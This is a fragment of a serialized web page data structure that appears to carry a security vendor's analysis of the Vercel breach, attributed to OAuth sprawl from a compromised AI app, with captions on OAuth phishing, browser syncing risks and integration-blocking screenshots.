ocialLinks":74799,"profilePicture":74800},[17536],{"url":11434},{"json":74802,"links":75437},{"data":74803,"content":74804,"nodeType":1739},{},[74805,74828,74854,74860,74865,74868,74875,74881,74886,74901,74907,74914,74930,74943,74949,74955,74958,74965,74971,74977,75032,75038,75045,75055,75061,75067,75072,75079,75085,75091,75097,75103,75108,75115,75121,75192,75197,75200,75207,75213,75226,75232,75238,75243,75259,75262,75269,75275,75280,75296,75302,75308,75313,75316,75323,75329,75335,75340,75346,75351,75356,75376,75381,75391,75397,75403],{"data":74806,"content":74807,"nodeType":866},{},[74808,74811,74818,74821,74825],{"data":74809,"marks":74810,"value":63705,"nodeType":865},{},[],{"data":74812,"content":74813,"nodeType":882},{"uri":8759},[74814],{"data":74815,"marks":74816,"value":63713,"nodeType":865},{},[74817],{"type":997},{"data":74819,"marks":74820,"value":63717,"nodeType":865},{},[],{"data":74822,"marks":74823,"value":63722,"nodeType":865},{},[74824],{"type":961},{"data":74826,"marks":74827,"value":22525,"nodeType":865},{},[],{"data":74829,"content":74830,"nodeType":866},{},[74831,74834,74841,74844,74851],{"data":74832,"marks":74833,"value":63732,"nodeType":865},{},[],{"data":74835,"content":74836,"nodeType":882},{"uri":63735},[74837],{"data":74838,"marks":74839,"value":63741,"nodeType":865},{},[74840],{"type":997},{"data":74842,"marks":74843,"value":63745,"nodeType":865},{},[],{"data":74845,"content":74846,"nodeType":882},{"uri":35946},[74847],{"data":74848,"marks":74849,"value":63753,"nodeType":865},{},[74850],{"type":997},{"data":74852,"marks":74853,"value":63757,"nodeType":865},{},[],{"data":74855,"content":74856,"nodeType":866},{},[74857],{"data":74858,"marks":74859,"value":63764,"nodeType":865},{},[],{"data":74861,"content":74864,"nodeType":925},{"target":74862},{"sys":74863},{"id":63769,"type":922,"linkType":923},[],{"data":74866,"content":74867,"nodeType":953},{},[],{"data":74869,"content":74870,"nodeType":963},{},[74871],{"data":74872,"marks":74873,"value":63781,"nodeType":865},{},[74874],{"type":961},{"data":74876,"content":74877,"nodeType":866},{},[74878],{"data":74879,"marks":74880,"value":63788,"nodeType":865},{},[],{"data":74882,"content":74885,"nodeType":925},{"target":74883},{"sys":74884},{"id":63793,"type":922,"linkType":923},[],{"data":74887,"content":74888,"nodeType":866},{},[74889,74892,74898],{"data":74890,"marks":74891,"value":63801,"nodeType":865},{},[],{"data":74893,"content":74894,"nodeType":882},{"uri":63804},[74895],{"data":74896,"marks":74897,"value":63809,"nodeType":865},{},[],{"data":74899,"marks":74900,"value":63813,"nodeType":865},{},[],{"data":74902,"content":74903,"nodeType":866},{},[74904],{"data":74905,"marks":74906,"value":63820,"nodeType":865},{},[],{"data":74908,"content":74909,"nodeType":1458},{},[74910],{"data":74911,"marks":74912,"value":63828,"nodeType":865},{},[74913],{"type":961},{"data":74915,"content":74916,"nodeType":866},{},[74917,74920,74927],{"data":74918,"marks":74919,"value":63835,"nodeType":865},{},[],{"data":74921,"content":74922,"nodeType":882},{"uri":63838},[74923],{"data":74924,"marks":74925,"value":63844,"nodeType":865},{},[74926],{"type":997},{"data":74928,"marks":74929,"value":63848,"nodeType":865},{},[],{"data":74931,"content":74932,"nodeType":866},{},[74933,74936,74940],{"data":74934,"marks":74935,"value":63855,"nodeType":865},{},[],{"data":74937,"marks":74938,"value":63860,"nodeType":865},{},[74939],{"type":944},{"data":74941,"marks":74942,"value":63864,"nodeType":865},{},[],{"data":74944,"content":74945,"nodeType":866},{},[74946],{"data":74947,"marks":74948,"value":63871,"nodeType":865},{},[],{"data":74950,"content":74951,"nodeType":866},{},[74952],{"data":74953,"marks":74954,"value":63878,"nodeType":865},{},[],{"data":74956,"content":74957,"nodeType":953},{},[],{"data":74959,"content":74960,"nodeType":963},{},[74961],{"data":74962,"marks":74963,"value":63889,"nodeType":865},{},[74964],{"type":961},{"data":74966,"content":74967,"nodeType":866},{},[74968],{"data":74969,"marks":74970,"value":63896,"nodeType":865},{},[],{"data":74972,"content":74973,"nodeType":866},{},[74974],{"data":74975,"marks":74976,"value":63903,"nodeType":865},{},[],{"data":74978,"content":74979,"nodeType":1049},{},[74980,74993,75006,75019],{"data":74981,"content":74982,"nodeType":1003},{},[74983],{"data":74984,"content":74985,"nodeType":866},{},[74986,74990],{"data":74987,"marks":74988,"value":63917,"nodeType":865},{},[74989],{"type":961},{"data":74991,"marks":74992,"value":63921,"nodeType":865},{},[],{"data":74994,"content":74995,"nodeType":1003},{},[74996],{"data":74997,"content":74998,"nodeType":866},{},[74999,75003],{"data":75000,"marks":75001,"value":63932,"nodeType":865},{},[75002],{"type":961},{"data":75004,"marks":75005,"value":63936,"nodeType":865},{},[],{"data":75007,"content":75008,"nodeType":1003},{},[75009],{"data":75010,"content":75011,"nodeType":866},{},[75012,75016],{"data":75013,"marks":75014,"value":63947,"nodeType":865},{},[75015],{"type":961},{"data":75017,"marks":75018,"value":63951,"nodeType":865},{},[],{"data":75020,"content":75021,"nodeType":1003},{},[75022],{"data":75023,"content":75024,"nodeType":866},{},[75025,75029],{"data":75026,"marks":75027,"value":63962,"nodeType":865},{},[75028],{"type":961},{"data":75030,"marks":75031,"value":63966,"nodeType":865},{},[],{"data":75033,"content":75034,"nodeType":866},{},[75035],{"data":75036,"marks":75037,"value":63973,"nodeType":865},{},[],{"data":75039,"content":75040,"nodeType":1458},{},[75041],{"data":75042,"marks":75043,"value":63981,"nodeType":865},{},[75044],{"type":961},{"data":75046,"content":75047,"nodeType":866},{},[75048,75052],{"data":75049,"marks":75050,"value":63989,"nodeType":865},{},[75051],{"type":961},{"data":75053,"marks":75054,"value":63993,"nodeType":865},{},[],{"data":75056,"content":75057,"nodeType":866},{},[75058],{"data":75059,"marks":75060,"value":64000,"nodeType":865},{},[],{"data":75062,"content":75063,"nodeType":866},{},[75064],{"data":75065,"marks":75066,"value":64007,"nodeType":865},{},[],{"data":75068,"content":75071,"nodeType":925},{"target":75069},{"sys":75070},{"id":64012,"type":922,"linkType":923},[],{"data":75073,"content":75074,"nodeType":1458},{},[75075],{"data":75076,"marks":75077,"value":64021,"nodeType":865},{},[75078],{"type":961},{"data":75080,"content":75081,"nodeType":866},{},[75082],{"data":75083,"marks":75084,"value":64028,"nodeType":865},{},[],{"data":75086,"content":75087,"nodeType":866},{},[75088],{"data":75089,"marks":75090,"value":64035,"nodeType":865},{},[],{"data":75092,"content":75093,"nodeType":866},{},[75094],{"data":75095,"marks":75096,"value":64042,"nodeType":865},{},[],{"data":75098,"content":75099,"nodeType":866},{},[75100],{"data":75101,"marks":75102,"value":64049,"nodeType":865},{},[],{"data":75104,"content":75107,"nodeType":925},{"target":75105},{"sys":75106},{"id":64054,"type":922,"linkType":923},[],{"data":75109,"content":75110,"nodeType":1458},{},[75111],{"data":75112,"marks":75113,"value":64063,"nodeType":865},{},[75114],{"type":961},{"data":75116,"content":75117,"nodeType":866},{},[75118],{"data":75119,"marks":75120,"value":64070,"nodeType":865},{},[],{"data":75122,"content":75123,"nodeType":1049},{},[75124,75163],{"data":75125,"content":75126,"nodeType":1003},{},[75127],{"data":75128,"content":75129,"nodeType":866},{},[75130,75133,75140,75143,75150,75153,75160],{"data":75131,"marks":75132,"value":64083,"nodeType":865},{},[],{"data":75134,"content":75135,"nodeType":882},{"uri":8759},[75136],{"data":75137,"marks":75138,"value":19437,"nodeType":865},{},[75139],{"type":997},{"data":75141,"marks":75142,"value":64094,"nodeType":865},{},[],{"data":75144,"content":75145,"nodeType":882},{"uri":39517},[75146],{"data":75147,"marks":75148,"value":64102,"nodeType":865},{},[75149],{"type":997},{"data":75151,"marks":75152,"value":64106,"nodeType":865},{},[],{"data":75154,"content":75155,"nodeType":882},{"uri":64109},[75156],{"data":75157,"marks":75158,"value":64115,"nodeType":865},{},[75159],{"type":997},{"data":75161,"marks":75162,"value":64119,"nodeType":865},{},[],{"data":75164,"content":75165,"nodeType":1003},{},[75166],{"data":75167,"content":75168,"nodeType":866},{},[75169,75172,75179,75182,75189],{"data":75170,"marks":75171,"value":64129,"nodeType":865},{},[],{"data":75173,"content":75174,"nodeType":882},{"uri":64132},[75175],{"data":75176,"marks":75177,"value":64138,"nodeType":865},{},[75178],{"type":997},{"data":75180,"marks":75181,"value":64142,"nodeType":865},{},[],{"data":75183,"content":75184,"nodeType":882},{"uri":64145},[75185],{"data":75186,"marks":75187,"value":64151,"nodeType":865},{},[75188],{"type":997},{"data":75190,"marks":75191,"value":64155,"nodeType":865},{},[],{"data":75193,"content":75196,"nodeType":925},{"target":75194},{"sys":75195},{"id":64160,"type":922,"linkType":923},[],{"data":75198,"content":75199,"nodeType":953},{},[],{"data":75201,"content":75202,"nodeType":963},{},[75203],{"data":75204,"marks":75205,"value":64172,"nodeType":865},{},[75206],{"type":961},{"data":75208,"content":75209,"nodeType":866},{},[75210],{"data":75211,"marks":75212,"value":64179,"nodeType":865},{},[],{"data":75214,"content":75215,"nodeType":866},{},[75216,75219,75223],{"data":75217,"marks":75218,"value":64186,"nodeType":865},{},[],{"data":75220,"marks":75221,"value":64191,"nodeType":865},{},[75222],{"type":961},{"data":75224,"marks":75225,"value":64195,"nodeType":865},{},[],{"data":75227,"content":75228,"nodeType":866},{},[75229],{"data":75230,"marks":75231,"value":64202,"nodeType":865},{},[],{"data":75233,"content":75234,"nodeType":866},{},[75235],{"data":75236,"marks":75237,"value":64209,"nodeType":865},{},[],{"data":75239,"content":75242,"nodeType":925},{"target":75240},{"sys":75241},{"id":64214,"type":922,"linkType":923},[],{"data":75244,"content":75245,"nodeType":866},{},[75246,75249,75256],{"data":75247,"marks":75248,"value":64222,"nodeType":865},{},[],{"data":75250,"content":75251,"nodeType":882},{"uri":11342},[75252],{"data":75253,"marks":75254,"value":64230,"nodeType":865},{},[75255],{"type":997},{"data":75257,"marks":75258,"value":64234,"nodeType":865},{},[],{"data":75260,"content":75261,"nodeType":953},{},[],{"data":75263,"content":75264,"nodeType":963},{},[75265],{"data":75266,"marks":75267,"value":14438,"nodeType":865},{},[75268],{"type":961},{"data":75270,"content":75271,"nodeType":866},{},[75272],{"data":75273,"marks":75274,"value":64251,"nodeType":865},{},[],{"data":75276,"content":75279,"nodeType":925},{"target":75277},{"sys":75278},{"id":64256,"type":922,"linkType":923},[],{"data":75281,"content":75282,"nodeType":866},{},[75283,75286,75293],{"data":75284,"marks":75285,"value":64264,"nodeType":865},{},[],{"data":75287,"content":75288,"nodeType":882},{"uri":27049},[75289],{"data":75290,"marks":75291,"value":64272,"nodeType":865},{},[75292],{"type":997},{"data":75294,"marks":75295,"value":22525,"nodeType":865},{},[],{"data":75297,"content":75298,"nodeType":866},{},[75299],{"data":75300,"marks":75301,"value":64282,"nodeType":865},{},[],{"data":75303,"content":75304,"nodeType":866},{},[75305],{"data":75306,"marks":75307,"value":64289,"nodeType":865},{},[],{"data":75309,"content":75312,"nodeType":925},{"target":75310},{"sys":75311},{"id":64294,"type":922,"linkType":923},[],{"data":75314,"content":75315,"nodeType":953},{},[],{"data":75317,"content":75318,"nodeType":963},{},[75319],{"data":75320,"marks":75321,"value":3604,"nodeType":865},{},[75322],{"type":961},{"data":75324,"content":75325,"nodeType":866},{},[75326],{"data":75327,"marks":75328,"value":64312,"nodeType":865},{},[],{"data":75330,"content":75331,"nodeType":866},{},[75332],{"data":75333,"marks":75334,"value":64319,"nodeType":865},{},[],{"data":75336,"content":75339,"nodeType":925},{"target":75337},{"sys":75338},{"id":64324,"type":922,"linkType":923},[],{"data":75341,"content":75342,"nodeType":866},{},[75343],{"data":75344,"marks":75345,"value":64332,"nodeType":865},{},[],{"data":75347,"content":75350,"nodeType":925},{"target":75348},{"sys":75349},{"id":64337,"type":922,"linkType":923},[],{"data":75352,"content":75355,"nodeType":925},{"target":75353},{"sys":75354},{"id":64343,"type":922,"linkType":923},[],{"data":75357,"content":75358,"nodeType":866},{},[75359,75362,75366,75369,75373],{"data":75360,"marks":75361,"value":64351,"nodeType":865},{},[],{"data":75363,"marks":75364,"value":64356,"nodeType":865},{},[75365],{"type":961},{"data":75367,"marks":75368,"value":64360,"nodeType":865},{},[],{"data":75370,"marks":75371,"value":64365,"nodeType":865},{},[75372],{"type":961},{"data":75374,"marks":75375,"value":64369,"nodeType":865},{},[],{"data":75377,"content":75380,"nodeType":925},{"target":75378},{"sys":75379},{"id":64374,"type":922,"linkType":923},[],{"data":75382,"content":75383,"nodeType":1458},{},[75384,75387],{"data":75385,"marks":75386,"value":64382,"nodeType":865},{},[],{"data":75388,"marks":75389,"value":64387,"nodeType":865},{},[75390],{"type":961},{"data":75392,"content":75393,"nodeType":866},{},[75394],{"data":75395,"marks":75396,"value":64394,"nodeType":865},{},[],{"data":75398,"content":75399,"nodeType":866},{},[75400],{"data":75401,"marks":75402,"value":64401,"nodeType":865},{},[],{"data":75404,"content":75405,"nodeType":866},{},[75406,75409,75415,75418,75425,75428,75434],{"data":75407,"marks":75408,"value":32401,"nodeType":865},{},[],{"data":75410,"content":75411,"nodeType":882},{"uri":22700},[75412],{"data":75413,"marks":75414,"value":22706,"nodeType":865},{},[],{"data":75416,"marks":75417,"value":2186,"nodeType":865},{},[],{"data":75419,"content":75420,"nodeType":882},{"uri":22712},[75421],{"data":75422,"marks":75423,"value":32419,"nodeType":865},{},[75424],{"type":997},{"data":75426,"marks":75427,"value":22722,"nodeType":865},{},[],{"data":75429,"content":75430,"nodeType":882},{"uri":1728},[75431],{"data":75432,"marks":75433,"value":22730,"nodeType":865},{},[],{"data":75435,"marks":75436,"value":1048,"nodeType":865},{},[],{"entries":75438},{"hyperlink":75439,"inline":75440,"block":75441},[],[],[75442,75450,75464,75472,75479,75504,75542,75561,75588,75594,75600,75607],{"sys":75443,"__typename":1747,"title":75444,"caption":75445,"layoutMode":59,"file":75446},{"id":63769},"Vercel breach summary","Overview of the breach and Vercel's response. ",{"url":75447,"width":75448,"height":75449},"https://images.ctfassets.net/y1cdw1ablpvd/63DxqlpuTD1qIjsSh2gXI2/f1da745b30082c52362c4eb875737548/Screenshot_2026-04-28_at_09.07.41.png",2912,912,{"sys":75451,"__typename":9270,"content":75452,"name":75463,"title":59},{"id":63793},{"json":75453},{"data":75454,"content":75455,"nodeType":1739},{},[75456],{"data":75457,"content":75458,"nodeType":866},{},[75459],{"data":75460,"marks":75461,"value":75462,"nodeType":865},{},[],"An all-too-common tale in the modern enterprise is the SaaS app that was trialled by a single employee, lightly used, integrated with core app tenants, and forgotten about — adding an invisible node to the organization’s attack surface.","Vercel IB 4",{"sys":75465,"__typename":1747,"title":75466,"caption":75467,"layoutMode":59,"file":75468},{"id":64012},"Illustrative example of SaaS OAuth sprawl. AI apps are highlighted orange.","Illustrative example of SaaS OAuth sprawl, from primary enterprise cloud, to core apps, to wider SaaS. AI apps are highlighted orange.",{"url":75469,"width":75470,"height":75471},"https://images.ctfassets.net/y1cdw1ablpvd/6u0rnGPxUjcFSxdbsIcNz0/b093fbd09053a6a764b03af9ba56e5df/Screenshot_2026-04-23_at_20.41.29.png",2516,2086,{"sys":75473,"__typename":1747,"title":75474,"caption":75474,"layoutMode":59,"file":75475},{"id":64054},"A normal employee in a poorly governed org can expose as much or more data than a developer in a well-governed one.",{"url":75476,"width":75477,"height":75478},"https://images.ctfassets.net/y1cdw1ablpvd/R2st9zXI0vB5Mu9Co2pA1/dc1843bc5be5da60252c9c7ea7caf677/oauth-blast-radius-push_1__4_.png",2880,2040,{"sys":75480,"__typename":9270,"content":75481,"name":75503,"title":59},{"id":64160},{"json":75482},{"nodeType":1739,"data":75483,"content":75484},{},[75485],{"nodeType":866,"data":75486,"content":75487},{},[75488,75492,75499],{"nodeType":865,"value":75489,"marks":75490,"data":75491},"Not only are attackers abusing existing (legitimate) OAuth connections as part of supply chain attacks, but they’re using OAuth-focused phishing as the front door to victim environments. Last year’s Salesforce campaign began with ",[],{},{"nodeType":882,"data":75493,"content":75494},{"uri":1384},[75495],{"nodeType":865,"value":29100,"marks":75496,"data":75498},[75497],{"type":997},{},{"nodeType":865,"value":75500,"marks":75501,"data":75502},", where attackers tricked victims into registering an attacker-controlled app into their Salesforce tenant, granting full API access for mass data exfiltration.",[],{},"Vercel IB 1",{"sys":75505,"__typename":9270,"content":75506,"name":75541,"title":59},{"id":64214},{"json":75507},{"nodeType":1739,"data":75508,"content":75509},{},[75510,75529],{"nodeType":866,"data":75511,"content":75512},{},[75513,75517,75525],{"nodeType":865,"value":75514,"marks":75515,"data":75516},"If you’re wondering how a personal device could result in corporate credential leakage, browser syncing (",[],{},{"nodeType":882,"data":75518,"content":75519},{"uri":35946},[75520],{"nodeType":865,"value":75521,"marks":75522,"data":75524},"where users sign into their personal account in a corporate browser",[75523],{"type":997},{},{"nodeType":865,"value":75526,"marks":75527,"data":75528},") can lead to this exact scenario. And given Vercel’s potentially lacking controls around OAuth integrations in their Workspace, it’s also possible that browser syncing had not been identified as a security risk and disabled. ",[],{},{"nodeType":866,"data":75530,"content":75531},{},[75532,75536],{"nodeType":865,"value":75533,"marks":75534,"data":75535},"The 2025 Verizon DBIR reported that 54% of all ransomware attacks traced back to infostealer-enabled credential theft. ",[],{},{"nodeType":865,"value":75537,"marks":75538,"data":75540},"46% of systems with compromised corporate credentials were non-managed devices. ",[75539],{"type":961},{},"Vercel IB 2",{"sys":75543,"__typename":9270,"content":75544,"name":75560,"title":59},{"id":64256},{"json":75545},{"nodeType":1739,"data":75546,"content":75547},{},[75548],{"nodeType":866,"data":75549,"content":75550},{},[75551,75556],{"nodeType":865,"value":75552,"marks":75553,"data":75555},"OAuth App:",[75554],{"type":961},{},{"nodeType":865,"value":75557,"marks":75558,"data":75559}," 110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com",[],{},"Vercel IB 5",{"sys":75562,"__typename":9270,"content":75563,"name":75587,"title":59},{"id":64294},{"json":75564},{"nodeType":1739,"data":75565,"content":75566},{},[75567],{"nodeType":866,"data":75568,"content":75569},{},[75570,75574,75583],{"nodeType":865,"value":75571,"marks":75572,"data":75573},"Since the breach was initially reported, ",[],{},{"nodeType":882,"data":75575,"content":75577},{"uri":75576},"https://thehackernews.com/2026/04/vercel-breach-tied-to-context-ai-hack.html",[75578],{"nodeType":865,"value":75579,"marks":75580,"data":75582},"it has also emerged that",[75581],{"type":997},{},{"nodeType":865,"value":75584,"marks":75585,"data":75586}," Context.ai’s browser extension has also been pulled from the Chrome store. It’s unclear whether attackers were able to publish a malicious extension update too, whether the extension was removed at Context.ai’s request (because the app has been deprecated), or Google pulled it down as a precaution in light of the incident. ",[],{},"Vercel IB 3",{"sys":75589,"__typename":1747,"title":75590,"caption":75590,"layoutMode":59,"file":75591},{"id":64324},"Inspect apps and identities to uncover and remediate vulnerabilities.",{"url":75592,"width":1759,"height":75593},"https://images.ctfassets.net/y1cdw1ablpvd/4rfQX7ICFP2tiio0Ra9r0f/ef6cdc27bc3dde03127105189523e405/image5.png",1074,{"sys":75595,"__typename":1747,"title":75596,"caption":75596,"layoutMode":59,"file":75597},{"id":64337},"Analyse OAuth integrations, including permissions, user count, and other useful metadata. ",{"url":75598,"width":1759,"height":75599},"https://images.ctfassets.net/y1cdw1ablpvd/6srKhXfs62Ql2vIUc0QszJ/58ae9672ed3e79bfef1fb65a6cd7450a/image3.png",1091,{"sys":75601,"__typename":1747,"title":75602,"caption":75602,"layoutMode":59,"file":75603},{"id":64343},"Easily delete unwanted integrations. ",{"url":75604,"width":75605,"height":75606},"https://images.ctfassets.net/y1cdw1ablpvd/8BTe7GRIl7aLnwcmkRQkb/eb26d8d0ecb0165d4ab3c4d4a3ac6111/image1.png",567,213,{"sys":75608,"__typename":1747,"title":75609,"caption":75610,"layoutMode":59,"file":75611},{"id":64374},"Block OAuth connection attempts as they transit the browser using Push.","Block OAuth connection attempts as they transit the browser using Push. Example shows blocking Claude connectors. ",{"url":75612,"width":66171,"height":18187},"https://images.ctfassets.net/y1cdw1ablpvd/4TIl7F28Qd1Mk5M4vrFUF7/1b983ddc567ea7130cc76c3397d8fb69/OAuth_blocking.gif",{"items":75614},[],{},"Unpacking the Vercel breach: Shadow AI and OAuth sprawl","breach-analysis",{"items":75619},[75620,78337,79165],{"__typename":1788,"sys":75621,"content":75622,"title":32433,"synopsis":32434,"hashTags":59,"publishedDate":32435,"slug":361,"tagsCollection":78327,"authorsCollection":78333},{"id":15486},{"json":75623},{"data":75624,"content":75625,"nodeType":1739},{},[75626,75631,75647,75663,75669,75674,75680,75686,75689,75696,75701,75767,75783,75788,75794,75890,75895,75898,75905,75911,75916,75919,75926,75962,75967,75973,75979,75985,75991,76007,76012,76017,76022,76027,76032,76037,76042,76048,76278,76281,76288,76415,76420,76423,76430,76461,76588,76593,76596,76603,76742,76747,76750,76757,76762,76896,76901,76906,76909,76916,77055,77060,77063,77070,77210,77215,77218,77225,77316,77321,77324,77331,77422,77427,77430,77437,77442,77569,77574,77577,77584,77631,77636,77639,77646,77779,77784,77787,77794,77921,77926,77929,77936,77946,77952,77957,77962,77968,77985,77998,78003,78006,78013,78020,78037,78054,78059,78065,78071,78078,78084,78090,78096,78103,78109,78154,78159,78162,78169,78175,78181,78218,78223,78229,78232,78239,78245,78251,78267,78272,78278,78285,78291],{"data":75627,"content":75630,"nodeType":925},{"target":75628},{"sys":75629},{"id":29452,"type":922,"linkType":923},[],{"data":75632,"content":75633,"nodeType":866},{},[75634,75637,75644],{"data":75635,"marks":75636,"value":29460,"nodeType":865},{},[],{"data":75638,"content":75639,"nodeType":882},{"uri":29463},[75640],{"data":75641,"marks":75642,"value":29469,"nodeType":865},{},[75643],{"type":997},{"data":75645,"marks":75646,"value":29473,"nodeType":865},{},[],{"data":75648,"content":75649,"nodeType":866},{},[75650,75653,75660],{"data":75651,"marks":75652,"value":21,"nodeType":865},{},[],{"data":75654,"content":75655,"nodeType":882},{"uri":29482},[75656],{"data":75657,"marks":75658,"value":360,"nodeType":865},{},[75659],{"type":997},{"data":75661,"marks":75662,"value":29491,"nodeType":865},{},[],{"data":75664,"content":75665,"nodeType":866},{},[75666],{"data":75667,"marks":75668,"value":29498,"nodeType":865},{},[],{"data":75670,"content":75673,"nodeType":925},{"target":75671},{"sys":75672},{"id":29503,"type":922,"linkType":923},[],{"data":75675,"content":75676,"nodeType":866},{},[75677],{"data":75678,"marks":75679,"value":29511,"nodeType":865},{},[],{"data":75681,"content":75682,"nodeType":866},{},[75683],{"data":75684,"marks":75685,"value":29518,"nodeType":865},{},[],{"data":75687,"content":75688,"nodeType":953},{},[],{"data":75690,"content":75691,"nodeType":963},{},[75692],{"data":75693,"marks":75694,"value":29529,"nodeType":865},{},[75695],{"type":961},{"data":75697,"content":75700,"nodeType":925},{"target":75698},{"sys":75699},{"id":29534,"type":922,"linkType":923},[],{"data":75702,"content":75703,"nodeType":866},{},[75704,75707,75714,75717,75724,75727,75734,75737,75744,75747,75754,75757,75764],{"data":75705,"marks":75706,"value":29542,"nodeType":865},{},[],{"data":75708,"content":75709,"nodeType":882},{"uri":29545},[75710],{"data":75711,"marks":75712,"value":29551,"nodeType":865},{},[75713],{"type":997},{"data":75715,"marks":75716,"value":29555,"nodeType":865},{},[],{"data":75718,"content":75719,"nodeType":882},{"uri":29558},[75720],{"data":75721,"marks":75722,"value":29564,"nodeType":865},{},[75723],{"type":997},{"data":75725,"marks":75726,"value":29568,"nodeType":865},{},[],{"data":75728,"content":75729,"nodeType":882},{"uri":29571},[75730],{"data":75731,"marks":75732,"value":29577,"nodeType":865},{},[75733],{"type":997},{"data":75735,"marks":75736,"value":29581,"nodeType":865},{},[],{"data":75738,"content":75739,"nodeType":882},{"uri":29584},[75740],{"data":75741,"marks":75742,"value":29590,"nodeType":865},{},[75743],{"type":997},{"data":75745,"marks":75746,"value":29594,"nodeType":865},{},[],{"data":75748,"content":75749,"nodeType":882},{"uri":29597},[75750],{"data":75751,"marks":75752,"value":29603,"nodeType":865},{},[75753],{"type":997},{"data":75755,"marks":75756,"value":8756,"nodeType":865},{},[],{"data":75758,"content":75759,"nodeType":882},{"uri":29609},[75760],{"data":75761,"marks":75762,"value":29615,"nodeType":865},{},[75763],{"type":997},{"data":75765,"marks":75766,"value":29619,"nodeType":865},{},[],{"data":75768,"content":75769,"nodeType":866},{},[75770,75773,75780],{"data":75771,"marks":75772,"value":29626,"nodeType":865},{},[],{"data":75774,"content":75775,"nodeType":882},{"uri":29629},[75776],{"data":75777,"marks":75778,"value":29635,"nodeType":865},{},[75779],{"type":997},{"data":75781,"marks":75782,"value":29639,"nodeType":865},{},[],{"data":75784,"content":75787,"nodeType":925},{"target":75785},{"sys":75786},{"id":29644,"type":922,"linkType":923},[],{"data":75789,"content":75790,"nodeType":866},{},[75791],{"data":75792,"marks":75793,"value":29652,"nodeType":865},{},[],{"data":75795,"content":75796,"nodeType":1049},{},[75797,75824,75842],{"data":75798,"content":75799,"nodeType":1003},{},[75800],{"data":75801,"content":75802,"nodeType":866},{},[75803,75806,75812,75815,75821],{"data":75804,"marks":75805,"value":29665,"nodeType":865},{},[],{"data":75807,"content":75808,"nodeType":882},{"uri":29668},[75809],{"data":75810,"marks":75811,"value":29673,"nodeType":865},{},[],{"data":75813,"marks":75814,"value":8756,"nodeType":865},{},[],{"data":75816,"content":75817,"nodeType":882},{"uri":29679},[75818],{"data":75819,"marks":75820,"value":29684,"nodeType":865},{},[],{"data":75822,"marks":75823,"value":29688,"nodeType":865},{},[],{"data":75825,"content":75826,"nodeType":1003},{},[75827],{"data":75828,"content":75829,"nodeType":866},{},[75830,75833,75839],{"data":75831,"marks":75832,"value":29698,"nodeType":865},{},[],{"data":75834,"content":75835,"nodeType":882},{"uri":8759},[75836],{"data":75837,"marks":75838,"value":19437,"nodeType":865},{},[],{"data":75840,"marks":75841,"value":29708,"nodeType":865},{},[],{"data":75843,"content":75844,"nodeType":1003},{},[75845],{"data":75846,"content":75847,"nodeType":866},{},[75848,75851,75857,75860,75867,75870,75877,75880,75887],{"data":75849,"marks":75850,"value":29718,"nodeType":865},{},[],{"data":75852,"content":75853,"nodeType":882},{"uri":29721},[75854],{"data":75855,"marks":75856,"value":29726,"nodeType":865},{},[],{"data":75858,"marks":75859,"value":29730,"nodeType":865},{},[],{"data":75861,"content":75862,"nodeType":882},{"uri":29733},[75863],{"data":75864,"marks":75865,"value":29739,"nodeType":865},{},[75866],{"type":997},{"data":75868,"marks":75869,"value":3892,"nodeType":865},{},[],{"data":75871,"content":75872,"nodeType":882},{"uri":29745},[75873],{"data":75874,"marks":75875,"value":29751,"nodeType":865},{},[75876],{"type":997},{"data":75878,"marks":75879,"value":29755,"nodeType":865},{},[],{"data":75881,"content":75882,"nodeType":882},{"uri":3087},[75883],{"data":75884,"marks":75885,"value":29763,"nodeType":865},{},[75886],{"type":997},{"data":75888,"marks":75889,"value":29767,"nodeType":865},{},[],{"data":75891,"content":75894,"nodeType":925},{"target":75892},{"sys":75893},{"id":29772,"type":922,"linkType":923},[],{"data":75896,"content":75897,"nodeType":953},{},[],{"data":75899,"content":75900,"nodeType":963},{},[75901],{"data":75902,"marks":75903,"value":29784,"nodeType":865},{},[75904],{"type":961},{"data":75906,"content":75907,"nodeType":866},{},[75908],{"data":75909,"marks":75910,"value":29791,"nodeType":865},{},[],{"data":75912,"content":75915,"nodeType":925},{"target":75913},{"sys":75914},{"id":29796,"type":922,"linkType":923},[],{"data":75917,"content":75918,"nodeType":953},{},[],{"data":75920,"content":75921,"nodeType":1458},{},[75922],{"data":75923,"marks":75924,"value":29808,"nodeType":865},{},[75925],{"type":961},{"data":75927,"content":75928,"nodeType":866},{},[75929,75932,75939,75942,75949,75952,75959],{"data":75930,"marks":75931,"value":21,"nodeType":865},{},[],{"data":75933,"content":75934,"nodeType":882},{"uri":3087},[75935],{"data":75936,"marks":75937,"value":29763,"nodeType":865},{},[75938],{"type":997},{"data":75940,"marks":75941,"value":2186,"nodeType":865},{},[],{"data":75943,"content":75944,"nodeType":882},{"uri":29827},[75945],{"data":75946,"marks":75947,"value":29833,"nodeType":865},{},[75948],{"type":997},{"data":75950,"marks":75951,"value":29837,"nodeType":865},{},[],{"data":75953,"content":75954,"nodeType":882},{"uri":29745},[75955],{"data":75956,"marks":75957,"value":29845,"nodeType":865},{},[75958],{"type":997},{"data":75960,"marks":75961,"value":29849,"nodeType":865},{},[],{"data":75963,"content":75966,"nodeType":925},{"target":75964},{"sys":75965},{"id":29854,"type":922,"linkType":923},[],{"data":75968,"content":75969,"nodeType":866},{},[75970],{"data":75971,"marks":75972,"value":29862,"nodeType":865},{},[],{"data":75974,"content":75975,"nodeType":866},{},[75976],{"data":75977,"marks":75978,"value":29869,"nodeType":865},{},[],{"data":75980,"content":75981,"nodeType":866},{},[75982],{"data":75983,"marks":75984,"value":29876,"nodeType":865},{},[],{"data":75986,"content":75987,"nodeType":866},{},[75988],{"data":75989,"marks":75990,"value":29883,"nodeType":865},{},[],{"data":75992,"content":75993,"nodeType":866},{},[75994,75997,76004],{"data":75995,"marks":75996,"value":29890,"nodeType":865},{},[],{"data":75998,"content":75999,"nodeType":882},{"uri":13634},[76000],{"data":76001,"marks":76002,"value":29898,"nodeType":865},{},[76003],{"type":997},{"data":76005,"marks":76006,"value":29902,"nodeType":865},{},[],{"data":76008,"content":76011,"nodeType":925},{"target":76009},{"sys":76010},{"id":29907,"type":922,"linkType":923},[],{"data":76013,"content":76016,"nodeType":925},{"target":76014},{"sys":76015},{"id":29913,"type":922,"linkType":923},[],{"data":76018,"content":76021,"nodeType":925},{"target":76019},{"sys":76020},{"id":29919,"type":922,"linkType":923},[],{"data":76023,"content":76026,"nodeType":925},{"target":76024},{"sys":76025},{"id":29925,"type":922,"linkType":923},[],{"data":76028,"content":76031,"nodeType":925},{"target":76029},{"sys":76030},{"id":29931,"type":922,"linkType":923},[],{"data":